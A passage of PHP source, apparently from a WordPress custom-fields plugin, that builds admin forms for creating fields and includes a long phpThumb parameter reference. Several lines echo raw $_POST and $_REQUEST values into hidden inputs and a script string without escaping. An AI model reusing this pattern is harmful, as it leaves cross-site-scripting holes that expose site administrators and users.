					beside the field in Write Panel page.',$flutter_domain); ?>
				</p>
			</td>
		</tr>

		<tr valign="top">
			<th scope="row"><?php _e("Can be duplicated", $flutter_domain); ?>:</th>
			<td><input name="custom-field-duplicate" id="custom-field-duplicate" type="checkbox" value="1" <?php echo $custom_field->duplicate==1 ? "checked":"" ?>/></td>
		</tr>

		<tr valign="top">
			<th scope="row"><?php _e("Order", $flutter_domain); ?>:</th>
			<td><input type="text" name="custom-field-order" id="custom-field-order" size="2" value="0" /></td>
		</tr>
		

		<tr valign="top">
			<th scope="row"><?php _e("Required", $flutter_domain); ?>:</th>
			<td>
				<select name="custom-field-required" id="custom-field-required">
					<option value="0" selected="selected"><?php _e('Not Required - can be empty',$flutter_domain); ?></option>
					<option value="1"><?php _e('Required - can not be empty',$flutter_domain); ?></option>
				</select>
			</td>
		</tr>
				
		<tr valign="top">
			<th scope="row"><?php _e("Type", $flutter_domain); ?>:</th>
			<td>

				<!-- START :: Javascript for Image/Photo' Css Class and for check -->
				<script type="text/javascript" language="javascript">
					submitForm = false;
					function fun(name)
					{
						if(name == "Image")
						{
							document.getElementById('divLbl').style.display = 'inline';
							document.getElementById('divCSS').style.display = 'inline';
						}
						else
						{
							document.getElementById('divLbl').style.display = 'none';
							document.getElementById('divCSS').style.display = 'none';
						}
					}

					function checkEmpty()
					{
						if (submitForm && (document.getElementById('custom-field-name').value == "" || document.getElementById('custom-field-description').value == "")){
							alert("<?php _e('Please fill in the name and the label of the field',$flutter_domain); ?>");	
							return false;
						}
						return true;
						
					}
				</script>
				<!-- END :: Javascript for Image/Photo' Css Class -->

				<?php
				$field_types = RCCWP_CustomField::GetCustomFieldTypes();
				foreach ($field_types as $field) :
					$checked = 
						$field->name == RCCWP_CustomField::GetDefaultCustomFieldType() ?
						'checked="checked"' : '';
				?>
					<label><input name="custom-field-type" value="<?php echo $field->id?>" type="radio" <?php echo $checked?> onclick='fun("<?php echo $field->name?>");' /> <!-- Calling Javascript Function -->
					<?php echo $field->name?></label><br />
				<?php
				endforeach;
				?>
			</td>
		</tr>
		<!-- START :: For Image/Photo' Css -->
		<tr valign="top">
			<th scope="row"><div id="divLbl" style="display:none"><?php _e('Css Class',$flutter_domain);?>:</div></th>
			<td>
				<div id="divCSS" style="display:none">
				<input name="custom-field-css" id="custom-field-css" size="40" type="text" value="freshout" />
				</div>
			</td>
		</tr>
		<!-- END :: For Image/Photo' Css -->
		</tbody>
		</table>
		
		
	  	<p class="submit" >
  			<a style="color:black" href="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('cancel-create-custom-field')."&custom-group-id=$customGroupID"?>" class="button"><?php _e('Cancel',$flutter_domain); ?></a>
  			<input type="submit" id="continue-create-custom-field" value='<?php _e("Continue",$flutter_domain); ?>'  onclick="submitForm=true;"/>
  		</p>
	  	
  		</form>
	  	
  		</div>
	  	
  		<?php	
	}
	
	function SetOptions()
	{
		global $flutter_domain;
		$current_field = RCCWP_CustomField::GetCustomFieldTypes($_POST['custom-field-type']);
		$customGroupID = $_REQUEST['custom-group-id'];
		?>
		
		<div class="wrap">
		
		<h2><?php _e("Create Custom Field", $flutter_domain);?></h2>
		
		<form action="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('finish-create-custom-field')?>" method="post" id="continue-create-new-field-form">
		
		<input type="hidden" name="custom-group-id" 	value="<?php echo $_POST['custom-group-id']?>" />
		<input type="hidden" name="custom-field-name" 		value="<?php echo htmlspecialchars($_POST['custom-field-name'])?>" />
		<input type="hidden" name="custom-field-description" 	value="<?php echo htmlspecialchars($_POST['custom-field-description'])?>" />
		<input type="hidden" name="custom-field-duplicate" value="<?php echo htmlspecialchars($_POST['custom-field-duplicate'])?>" />
		<input type="hidden" name="custom-field-order" 		value="<?php echo $_POST['custom-field-order']?>" />
		<input type="hidden" name="custom-field-required" 		value="<?php echo $_POST['custom-field-required']?>" />
		<input type="hidden" name="custom-field-type" 		value="<?php echo $_POST['custom-field-type']?>" />

		<!-- Hidden value for Image/Photo' Css Class-->
		<input type="hidden" name="custom-field-css" value="<?php echo $_POST['custom-field-css']?>" />

		<h3><?php echo $current_field->name?></h3>
		
		<table class="form-table" width="100%" border="0" cellspacing="0" cellpadding="6">
		<tbody>
		
		<?php
		if ($current_field->has_properties == "true") :
		?>
		
		<?php 
		if (in_array($current_field->name, array('Textbox', 'Listbox'))) : 
			if ($current_field->name == 'Textbox')
				$size = 25;
			else if ($current_field->name == 'Listbox')
				$size = 3;
		?>
		<tr valign="top">
			<th scope="row"><?php _e('Size', $flutter_domain); ?>:</th>
			<td><input type="text" name="custom-field-size" id="custom-field-size" size="2" value="<?php echo $size?>" /></td>
		</tr>	
		<?php endif; ?>
		
		<?php 
		if (in_array($current_field->name, array('Multiline Textbox'))) : 
			$height = 3;
			$width = 23;
		?>
		<tr valign="top">
			<th scope="row"><?php _e('Height', $flutter_domain); ?>:</th>
			<td><input type="text" name="custom-field-height" id="custom-field-height" size="2" value="<?php echo $height?>" /></td>
		</tr>	
		<tr valign="top">
			<th scope="row"><?php _e('Width', $flutter_domain); ?>:</th>
			<td><input type="text" name="custom-field-width" id="custom-field-width" size="2" value="<?php echo $width?>" /></td>
		</tr>	
		<?php endif; ?>
		
		<?php 
		if (in_array($current_field->name, array('Slider'))) : 
			$min_val = 0;
			$max_val = 10;
			$step = 1;
		?>
		<tr valign="top">
			<th scope="row"><?php _e('Value min', $flutter_domain); ?>:</th>
			<td><input type="text" name="custom-field-slider-min" id="custom-field-slider-min" size="2" value="<?php echo $min_val?>" /></td>
		</tr>
		<tr valign="top">
			<th scope="row"><?php _e('Value max', $flutter_domain);?>:</th>
			<td><input type="text" name="custom-field-slider-max" id="custom-field-slider-max" size="2" value="<?php echo $max_val?>" /></td>
		</tr>		
		<tr valign="top">
			<th scope="row"><?php _e('Stepping', $flutter_domain);?>:</th>
			<td><input type="text" name="custom-field-slider-step" id="custom-field-slider-step" size="2" value="<?php echo $step?>" /></td>
		</tr>
		<?php endif; ?>
		
		<?php
		endif; // has_properties
		?>
		
		<?php
		if ($current_field->has_options == "true") :
		?>		
		<tr valign="top">
			<th scope="row"><?php _e('Options', $flutter_domain);?>:</th>
			<td>
				<textarea name="custom-field-options" id="custom-field-options" rows="2" cols="38"></textarea><br />
				<em><?php _e('Separate each option with a newline.', $flutter_domain);?></em>
			</td>
		</tr>	
		<tr valign="top">
			<th scope="row"><?php _e('Default Value', $flutter_domain);?>:</th>
			<td>
				<?php
				if ($current_field->allow_multiple_values == "true") :
				?>
				<textarea name="custom-field-default-value" id="custom-field-default-value" rows="2" cols="38"></textarea><br />
				<em><?php _e('Separate each value with a newline.', $flutter_domain);?></em>
				<?php
				else :
				?>				
				<input type="text" name="custom-field-default-value" id="custom-field-default-value" size="25" />
				<?php
				endif;
				?>
			</td>
		</tr>
		<?php endif; ?>


		<?php if( $current_field->has_properties && $current_field->name == 'Image' ) : ?>
		<tr valign="top">
			<th scope="row"><?php _e('Options', $flutter_domain);?>:</th>
			<td>
				<?php _e('Max Height', $flutter_domain);?>: <input type="text" name="custom-field-photo-height" id="custom-field-photo-height"/>
				<?php _e('Max Width', $flutter_domain);?>: <input type="text" name="custom-field-photo-width" id="custom-field-photo-width" />
				<?php _e('Custom', $flutter_domain);?>: <input type="text" name="custom-field-custom-params" id="custom-field-custom-params" />
				<div style="color:blue;text-decoration:underline;"
					onclick="div=document.getElementById('params');div.style.display='';"
					>
					<?php _e('Custom Options List', $flutter_domain);?>
				</div>
				<div id="params"
					style="display:none;"
					onclick="this.style.display='none';">
					<pre><?php echo param_list();  ?></pre>
				</div>
			</td>
		</tr>
		<?php endif; ?>

		<!-- Date Custom Field -->
		<?php if( $current_field->has_properties && $current_field->name == 'Date' ) : ?>
		<tr valign="top">
			<th scope="row"><?php _e('Options', $flutter_domain);?>:</th>
			<td>
			<?php _e('Format', $flutter_domain);?>:	<select name="custom-field-date-format" id="custom-field-date-format">
					<option value="m/d/Y">4/20/2008</option>
					<option value="l, F d, Y">Sunday, April 20, 2008</option>
					<option value="F d, Y">April 20, 2008</option>
					<option value="m/d/y">4/20/08</option>
					<option value="Y-m-d">2008-04-20</option>
					<option value="d-M-y">20-Apr-08</option>
					<option value="m.d.Y">4.20.2008</option>
					<option value="m.d.y">4.20.08</option>
				</select>
			</td>
		</tr>
		<?php endif; ?>
		<!-- Date Custom Field -->

		</tbody>
		</table>
		
		<p class="submit" >
			<a style="color:black" href="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('cancel-create-custom-field')."&custom-group-id=$customGroupID"?>" class="button"><?php _e('Cancel', $flutter_domain); ?></a> 
			<input type="submit" id="finish-create-custom-field" value="<?php _e('Finish', $flutter_domain); ?>" />
		</p>
			
		</form>
		
		</div>
		
		<?php
	}
	
	function AddAjaxDynamicList(){
		if(!empty($_GET['flutter_action']) && $_GET['flutter_action']=='create-custom-field'){
			?>
			<style type="text/css">
			/* Big box with list of options */
			#ajax_listOfOptions{
				position:absolute;	/* Never change this one */
				width:375px;	/* Width of box */
				height:250px;	/* Height of box */
				overflow:auto;	/* Scrolling features */
				border:1px solid #317082;	/* Dark green border */
				background-color:#FFF;	/* White background color */
				text-align:left;
				font-size:0.9em;
				z-index:100;
			}
			#ajax_listOfOptions div{	/* General rule for both .optionDiv and .optionDivSelected */
				margin:1px;		
				padding:1px;
				cursor:pointer;
				font-size:0.9em;
			}
			#ajax_listOfOptions .optionDiv{	/* Div for each item in list */
				
			}
			#ajax_listOfOptions .optionDivSelected{ /* Selected item in the list */
				background-color:#317082;
				color:#FFF;
			}
			#ajax_listOfOptions_iframe{
				background-color:#F00;
				position:absolute;
				z-index:5;
			}
			
			form{
				display:inline;
			}
			
			</style>
			<script type="text/javascript">
				var flutter_path = "<?php echo FLUTTER_URI ?>" ;
				var panel_id = "<?php echo $_REQUEST['custom-write-panel-id']; ?>" ;
				
				function copyField(){
					selectedFieldId = document.create_custom_field_form.elements['custom-field-name_hidden'].value;
					window.location = "<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('copy-custom-field')."&custom-group-id=".$_REQUEST['custom-group-id']?>&custom-field-id="+selectedFieldId;
				}
				
			</script>
			<script type="text/javascript" src="<?php echo FLUTTER_URI?>js/ajax-dynamic-list/ajax.js"></script>
			<script type="text/javascript" src="<?php echo FLUTTER_URI?>js/ajax-dynamic-list/ajax-dynamic-list.js">
			/************************************************************************************************************
			(C) www.dhtmlgoodies.com, April 2006
			
			This is a script from www.dhtmlgoodies.com. You will find this and a lot of other scripts at our website.	
			
			Terms of use:
			You are free to use this script as long as the copyright message is kept intact. However, you may not
			redistribute, sell or repost it without our permission.
			
			Thank you!
			
			www.dhtmlgoodies.com
			Alf Magne Kalleland
			
			************************************************************************************************************/	
			</script> 
					
			<?php
		}
	}

} //end class	

	function param_list()
	{
		return ' 
		 src = filename of source image
		 new = create new image, not thumbnail of existing image.
		       Requires "w" and "h" parameters set.
		       [ex: &new=FF0000|75] - red background, 75% opacity
		       Set to hex color string of background. Opacity is
		       optional (defaults to 100% opaque).
		   w = max width of output thumbnail in pixels
		   h = max height of output thumbnail in pixels
		  wp = max width for portrait images
		  hp = max height for portrait images
		  wl = max width for landscape images
		  hl = max height for landscape images
		  ws = max width for square images
		  hs = max height for square images
		   f = output image format ("jpeg", "png", or "gif")
		   q = JPEG compression (1=worst, 95=best, 75=default)
		  sx = left side of source rectangle (default = 0)
		       (values 0 &lt; sx &lt; 1 represent percentage)
		  sy = top side of source rectangle (default = 0)
		       (values 0 &lt; sy &lt; 1 represent percentage)
		  sw = width of source rectangle (default = fullwidth)
		       (values 0 &lt; sw &lt; 1 represent percentage)
		  sh = height of source rectangle (default = fullheight)
		       (values 0 &lt; sh &lt; 1 represent percentage)
		  zc = zoom-crop. Will auto-crop off the larger dimension
		       so that the image will fill the smaller dimension
		       (requires both "w" and "h", overrides "iar", "far")
		       Set to "1" or "C" to zoom-crop towards the center,
		       or set to "T", "B", "L", "R", "TL", "TR", "BL", "BR"
		       to gravitate towards top/left/bottom/right directions
		       (requies ImageMagick for values other than "C" or "1")
		  bg = background hex color (default = FFFFFF)
		  bc = border hex color (default = 000000)
		fltr = filter system. Call as an array as follows:
		       - "brit" (Brightness) [ex: &fltr[]=brit|&lt;value]
		         where &lt;value is the amount +/- to adjust brightness
		         (range -255 to 255)
		         Availble in PHP5 with bundled GD only.
		       - "cont" (Constrast) [ex: &fltr[]=cont|&lt;value&gt;]
		         where &lt;value is the amount +/- to adjust contrast
		         (range -255 to 255)
		         Availble in PHP5 with bundled GD only.
		       - "gam" (Gamma Correction) [ex:
		         &fltr[]=gam|&lt;value&gt;]
		         where &lt;value&gt; can be a number &gt;0 to 10+ (default 1.0)
		         Must be &gt;0 (zero gives no effect). There is no max,
		         although beyond 10 is pretty useless. Negative
		         numbers actually do something, maybe not quite the
		         desired effect, but interesting nonetheless.
		       - "sat" (SATuration) [ex: &fltr[]=sat|&lt;value&gt;]
		         where &lt;value&gt; is a number between zero (no change)
		         and -100 (complete desaturation = grayscale), or it
		         can be any positive number for increased saturation.
		       - "ds" (DeSaturate) [ex: &fltr[]=ds|&lt;value&gt;]
		         is an alias for "sat" except values are inverted
		         (positive values remove color, negative values boost
		         saturation)
		       - "gray" (Grayscale) [ex: &fltr[]=gray]
		         remove all color from image, make it grayscale
		       - "th" (Threshold) [ex: &fltr[]=th|&lt;value&gt;]
		         makes image greyscale, then sets all pixels brighter
		         than &lt;value&gt; (range 0-255) to white, and all pixels
		         darker than &lt;value&gt; to black
		       - "rcd" (Reduce Color Depth) [ex:
		         &fltr[]=rcd|&lt;c&gt;|&lt;d&gt;]
		         where &lt;c&gt; is the number of colors (2-256) you want
		         in the output image, and &lt;d&gt; is "1" for dithering
		         (deault) or "0" for no dithering
		       - "clr" (Colorize) [ex:
		         &fltr[]=clr|&lt;value&gt;|&lt;color&gt;]
		         where &lt;value&gt; is a number between 0 and 100 for the
		         amount of colorization, and &lt;color&gt; is the hex color
		         to colorize to.
		       - "sep" (Sepia) [ex:
		         &fltr[]=sep|&lt;value&gt;|&lt;color&gt;]
		         where &lt;value&gt; is a number between 0 and 100 for the
		         amount of colorization (default=50), and &lt;color&gt; is
		         the hex color to colorize to (default=A28065).
		         Note: this behaves differently when applied by
		         ImageMagick, in which case 80 is default, and lower
		         values give brighter/yellower images and higher
		         values give darker/bluer images
		       - "usm" (UnSharpMask) [ex:
		         &fltr[]=usm|&lt;a&gt;|&lt;r&gt;|&lt;t&gt;]
		         where &lt;a&gt; is the amount (default = 80), &lt;r&gt; is the
		         radius (default = 0.5), &lt;t&gt; is the threshold
		         (default = 3).
		       - "blur" (Blur) [ex: &fltr[]=blur|&lt;radius&gt;]
		         where (0 &lt; &lt;radius&gt; &lt; 25) (default = 1)
		       - "gblr" (Gaussian Blur) [ex: &fltr[]=gblr]
		         Availble in PHP5 with bundled GD only.
		       - "sblr" (Selective Blur) [ex: &fltr[]=gblr]
		         Availble in PHP5 with bundled GD only.
		       - "smth" (Smooth) [ex: &fltr[]=smth|&lt;value&gt;]
		         where &lt;value&gt; is the weighting value for the matrix
		         (range -10 to 10, default 6)
		         Availble in PHP5 with bundled GD only.
		       - "lvl" (Levels)
		         [ex: &fltr[]=lvl|&lt;channel&gt;|&lt;method&gt;|&lt;threshol&gt;d
		         where &lt;channel&gt; can be one of "r", "g", "b", "a" (for
		         Red, Green, Blue, Alpha respectively), or "*" for all
		         RGB channels (default) based on grayscale average.
		         ImageMagick methods can support multiple channels
		         (eg "lvl|rg|3") but internal methods cannot (they will
		         use first character of channel string as channel)
		         &lt;method&gt; can be one of:
		         0=Internal RGB;
		         1=Internal Grayscale;
		         2=ImageMagick Contrast-Stretch (default)
		         3=ImageMagick Normalize (may appear over-saturated)
		         &lt;threshold&gt; is how much of brightest/darkest pixels
		         will be clipped in percent (default = 0.1%)
		         Using default parameters (&fltr[]=lvl) is similar to
		         Auto Contrast in Adobe Photoshop.
		       - "wb" (White Balance) [ex: &fltr[]=wb|&lt;c&gt;]
		         where &lt;c&gt; is the target hex color to white balance
		         on, this color is what "should be" white, or light
		         gray. The filter attempts to maintain brightness so
		         any gray color can theoretically be used. If &lt;c&gt; is
		         omitted the filter guesses based on brightest pixels
		         in each of RGB
		         OR &lt;c&gt; can be the percent of white clipping used
		         to calculate auto-white-balance (default = 0.1%)
		         NOTE: "wb" in default settings already gives an effect
		         similar to "lvl", there is usually no need to use "lvl"
		         if "wb" is already used.
		       - "hist" (Histogram)
		         [ex: &fltr[]=hist|&lt;b&gt;|&lt;c&gt;|&lt;w&gt;|&lt;h&gt;|&lt;a&gt;|&lt;o&gt;|&lt;x&gt;|&lt;y&gt;]
		         Where &lt;b&gt; is the color band(s) to display, from back
		         to front (one or more of "rgba*" for Red Green Blue
		         Alpha and Grayscale respectively);
		         &lt;c&gt; is a semicolon-seperated list of hex colors to
		         use for each graph band (defaults to FF0000, 00FF00,
		         0000FF, 999999, FFFFFF respectively);
		         &lt;w&gt; and &lt;h&gt; are the width and height of the overlaid
		         histogram in pixels, or if &lt;= 1 then percentage of
		         source image width/height;
		         &lt;a&gt; is the alignment (same as for "wmi" and "wmt");
		         &lt;o&gt; is opacity from 0 (transparent) to 100 (opaque)
		             (requires PHP v4.3.2, otherwise 100% opaque);
		         &lt;x&gt; and &lt;y&gt; are the edge margin in pixels (or percent
		             if 0 &lt; (x|y) &lt; 1)
		       - "over" (OVERlay/underlay image) overlays an image on
		         the thumbnail, or overlays the thumbnail on another
		         image (to create a picture frame for example)
		         [ex: &fltr[]=over|&lt;i&gt;|&lt;u&gt;|&lt;m&gt;|&lt;o&gt;]
		         where &lt;i&gt; is the image filename; &lt;u&gt; is "0" (default)
		         for overlay the image on top of the thumbnail or "1"
		         for overlay the thumbnail on top of the image; &lt;m&gt; is
		         the margin - can be absolute pixels, or if &lt; 1 is a
		         percentage of the thumbnail size [must be &lt; 0.5]
		         (default is 0 for overlay and 10% for underlay);
		         &lt;o&gt; is opacity (0 = transparent, 100 = opaque)
		             (requires PHP v4.3.2, otherwise 100% opaque);
		         (thanks raynerape�gmail*com, shabazz3�msu*edu)
		       - "wmi" (WaterMarkImage)
		         [ex: &fltr[]=wmi|&lt;f&gt;|&lt;a&gt;|&lt;o&gt;|&lt;x&gt;|&lt;y&gt;|&lt;r&gt;] where
		         &lt;f&gt; is the filename of the image to overlay;
		         &lt;a&gt; is the alignment (one of BR, BL, TR, TL, C,
		             R, L, T, B, *) where B=bottom, T=top, L=left,
		             R=right, C=centre, *=tile)
		             *or*
		             an absolute position in pixels (from top-left
		             corner of canvas to top-left corner of overlay)
		             in format {xoffset}x{yoffset} (eg: "10x20")
		             note: this is center position of image if &lt;&gt;x
		             and &lt;y&gt; are set
		         &lt;o&gt; is opacity from 0 (transparent) to 100 (opaque)
		             (requires PHP v4.3.2, otherwise 100% opaque);
		         &lt;x&gt; and &lt;y&gt; are the edge (and inter-tile) margin in
		             pixels (or percent if 0 &lt; (x|y) &lt; 1)
		             *or*
		             if &lt;a&gt; is absolute-position format then &lt;x&gt; and
		             &lt;y&gt; represent maximum width and height that the
		             watermark image will be scaled to fit inside
		         &lt;r&gt; is rotation angle of overlaid watermark
		       - "wmt" (WaterMarkText)
		         [ex: &fltr[]=wmt|&lt;t&gt;|&lt;s&gt;|&lt;a&gt;|&lt;c&gt;|&lt;f&gt;|&lt;o&gt;|&lt;m&gt;|&lt;n&gt;|&lt;b&gt;|&lt;O&gt;|&lt;x&gt;]
		         where:
		         &lt;t&gt; is the text to use as a watermark;
		             URLencoded Unicode HTMLentities must be used for
		               characters beyond chr(127). For example, the
		               "eighth note" character (U+266A) is represented
		               as "&#9834;" and then urlencoded to "%26%239834%3B"
		             Any instance of metacharacters will be replaced
		             with their calculated value. Currently supported:
		               ^Fb = source image filesize in bytes
		               ^Fk = source image filesize in kilobytes
		               ^Fm = source image filesize in megabytes
		               ^X  = source image width in pixels
		               ^Y  = source image height in pixels
		               ^x  = thumbnail width in pixels
		               ^y  = thumbnail height in pixels
		               ^^  = the character ^
		         &lt;s&gt; is the font size (1-5 for built-in font, or point
		             size for TrueType fonts);
		         &lt;a&gt; is the alignment (one of BR, BL, TR, TL, C, R, L,
		             T, B, * where B=bottom, T=top, L=left, R=right,
		             C=centre, *=tile);
		             *or*
		             an absolute position in pixels (from top-left
		             corner of canvas to top-left corner of overlay)
		             in format {xoffset}x{yoffset} (eg: "10x20")
		         &lt;c&gt; is the hex color of the text;
		         &lt;f&gt; is the filename of the TTF file (optional, if
		             omitted a built-in font will be used);
		         &lt;o&gt; is opacity from 0 (transparent) to 100 (opaque)
		             (requires PHP v4.3.2, otherwise 100% opaque);
		         &lt;m&gt; is the edge (and inter-tile) margin in percent;
		         &lt;n&gt; is the angle
		         &lt;b&gt; is the hex color of the background;
		         &lt;O&gt; is background opacity from 0 (transparent) to
		             100 (opaque)
		             (requires PHP v4.3.2, otherwise 100% opaque);
		         &lt;x&gt; is the direction(s) in which the background is
		             extended (either "x" or "y" (or both, but both
		             will obscure entire image))
		             Note: works with TTF fonts only, not built-in
		       - "flip" [ex: &fltr[]=flip|x   or   &fltr[]=flip|y]
		         flip image on X or Y axis
		       - "ric" [ex: &fltr[]=ric|&lt;x&gt;|&lt;y&gt;]
		         rounds off the corners of the image (to transparent
		         for PNG output), where &lt;x&gt; is the horizontal radius
		         of the curve and &lt;y&gt; is the vertical radius
		       - "elip" [ex: &fltr[]=elip]
		         similar to rounded corners but more extreme
		       - "mask" [ex: &fltr[]=mask|filename.png]
		         greyscale values of mask are applied as the alpha
		         channel to the main image. White is opaque, black
		         is transparent.
		       - "bvl" (BeVeL) [ex:
		         &fltr[]=bvl|&lt;w&gt;|&lt;c1&gt;|&lt;c2&gt;]
		         where &lt;w&gt; is the bevel width, &lt;c1&gt; is the hex color
		         for the top and left shading, &lt;c2&gt; is the hex color
		         for the bottom and right shading
		       - "bord" (BORDer) [ex:
		         &fltr[]=bord|&lt;w&gt;|&lt;rx&gt;|&lt;ry&gt;|&lt;&gt;c
		         where &lt;w&gt; is the width in pixels, &lt;rx&gt;
			 and &lt;ry&gt; are
		         horizontal and vertical radii for rounded corners,
		         and &lt;c&gt; is the hex color of the border
		       - "fram" (FRAMe) draws a frame, similar to "bord" but
		         more configurable
		         [ex: &fltr[]=fram|&lt;w1&gt;|&lt;w2&gt;|&lt;c1&gt;|&lt;c2&gt;|&lt;c3&gt;]
		         where &lt;w1&gt; is the width of the main border,
			 &lt;w2&gt; is
		         the width of each side of the bevel part, &lt;c1&gt; is the
		         hex color of the main border, &lt;c2&gt; is the highlight
		         bevel color, &lt;c3&gt; is the shadow bevel color
		       - "drop" (DROP shadow)
		         [ex: &fltr[]=drop|&lt;d&gt;|&lt;w&gt;|&lt;clr&gt;|&lt;a&gt;]
		         where &lt;d&gt; is distance from image to shadow,
			 &lt;w&gt; is
		         width of shadow fade (not yet implemented),
			 &lt;clr&gt; is
		         the hex color of the shadow, and &lt;a&gt; is the angle of
		         the shadow (default=225)
		       - "crop" (CROP image)
		         [ex:
			 &fltr[]=crop|&lt;l&gt;|&lt;r&gt;|&lt;t&gt;|&lt;b&gt;]
		         where &lt;l&gt; is the number of pixels to crop from the left
		         side of the resized image; &lt;r&gt;, &lt;t&gt;,
			 &lt;b&gt; are for right,
		         top and bottom respectively. Where (0 &lt; x &lt; 1) the
		         value will be used as a percentage of width/height.
		         Left and top crops take precedence over right and
		         bottom values. Cropping will be limited such that at
		         least 1 pixel of width and height always remains.
		       - "rot" (ROTate)
		         [ex: &fltr[]=rot|&lt;a&gt;|&lt;b&gt;]
		         where &lt;a&gt; is the rotation angle in degrees;
			 &lt;b&gt; is the
		         background hex color. Similar to regular "ra" parameter
		         but is applied in filter order after regular processing
		         so you can rotate output of other filters.
		       - "size" (reSIZE)
		         [ex: &fltr[]=size|&lt;x&gt;|&lt;y&gt;|&lt;s&gt;]
		         where &lt;x&gt; is the horizontal dimension in pixels,
			 &lt;y&gt; is
		         the vertical dimension in pixels, &lt;s&gt; is boolean whether
		         to stretch (if 1) or resize proportionately (0, default)
		         &lt;x&gt; and &lt;y&gt; will be interpreted as percentage of current
		         output image size if values are (0 &lt; X &lt; 1)
		         NOTE: do NOT use this filter unless absolutely neccesary.
		         It is only provided for cases where other filters need to
		         have absolute positioning based on source image and the
		         resultant image should be resized after other filters are
		         applied. This filter is less efficient than the standard
		         resizing procedures.
		       - "stc" (Source Transparent Color)
		         [ex: &fltr[]=stc|&lt;c&gt;|&lt;n&gt;|<x&gt;]
		         where <c&gt; is the hex color of the target color to be made
		         transparent; <n&gt; is the minimum threshold in percent (all
		         pixels within <n&gt;% of the target color will be 100%
		         transparent, default <n&gt;=5); <x&gt; is the maximum threshold
		         in percent (all pixels more than <x&gt;% from the target
		         color will be 100% opaque, default <x&gt;=10); pixels between
		         the two thresholds will be partially transparent.
		md5s = MD5 hash of the source image -- if this parameter is
		       passed with the hash of the source image then the
		       source image is not checked for existance or
		       modification and the cached file is used (if
		       available). If "md5s" is passed an empty string then
		       phpThumb.php dies and outputs the correct MD5 hash
		       value.  This parameter is the single-file equivalent
		       of "cache_source_filemtime_ignore_*" configuration
		       paramters
		 xto = EXIF Thumbnail Only - set to only extract EXIF
		       thumbnail and not do any additional processing
		  ra = Rotate by Angle: angle of rotation in degrees
		       positive = counterclockwise, negative = clockwise
		  ar = Auto Rotate: set to "x" to use EXIF orientation
		       stored by camera. Can also be set to "l" or "L"
		       for landscape, or "p" or "P" for portrait. "l"
		       and "P" rotate the image clockwise, "L" and "p"
		       rotate the image counter-clockwise.
		 sfn = Source Frame Number - use this frame/page number for
		       multi-frame/multi-page source images (GIF, TIFF, etc)
		 aoe = Output Allow Enlarging - override the setting for
		       $CONFIG["output_allow_enlarging"] (1=on, 0=off)
		       ("far" and "iar" both override this and allow output
		       larger than input)
		 iar = Ignore Aspect Ratio - disable proportional resizing
		       and stretch image to fit "h" & "w" (which must both
		       be set).  (1=on, 0=off)  (overrides "far")
		 far = Force Aspect Ratio - image will be created at size
		       specified by "w" and "h" (which must both be set).
		       Alignment: L=left,R=right,T=top,B=bottom,C=center
		       BL,BR,TL,TR use the appropriate direction if the
		       image is landscape or portrait.
		 dpi = Dots Per Inch - input DPI setting when importing from
		       vector image format such as PDF, WMF, etc
		 sia = Save Image As - default filename to save generated
		       image as. Specify the base filename, the extension
		       (eg: ".png") will be automatically added
		maxb = MAXimum Byte size - output quality is auto-set to
		       fit thumbnail into "maxb" bytes  (compression
		       quality is adjusted for JPEG, bit depth is adjusted
		       for PNG and GIF)
		down = filename to save image to. If this is set the
		       browser will prompt to save to this filename rather
		       than display the image
		
			';
		}

		

		
?>

Man Man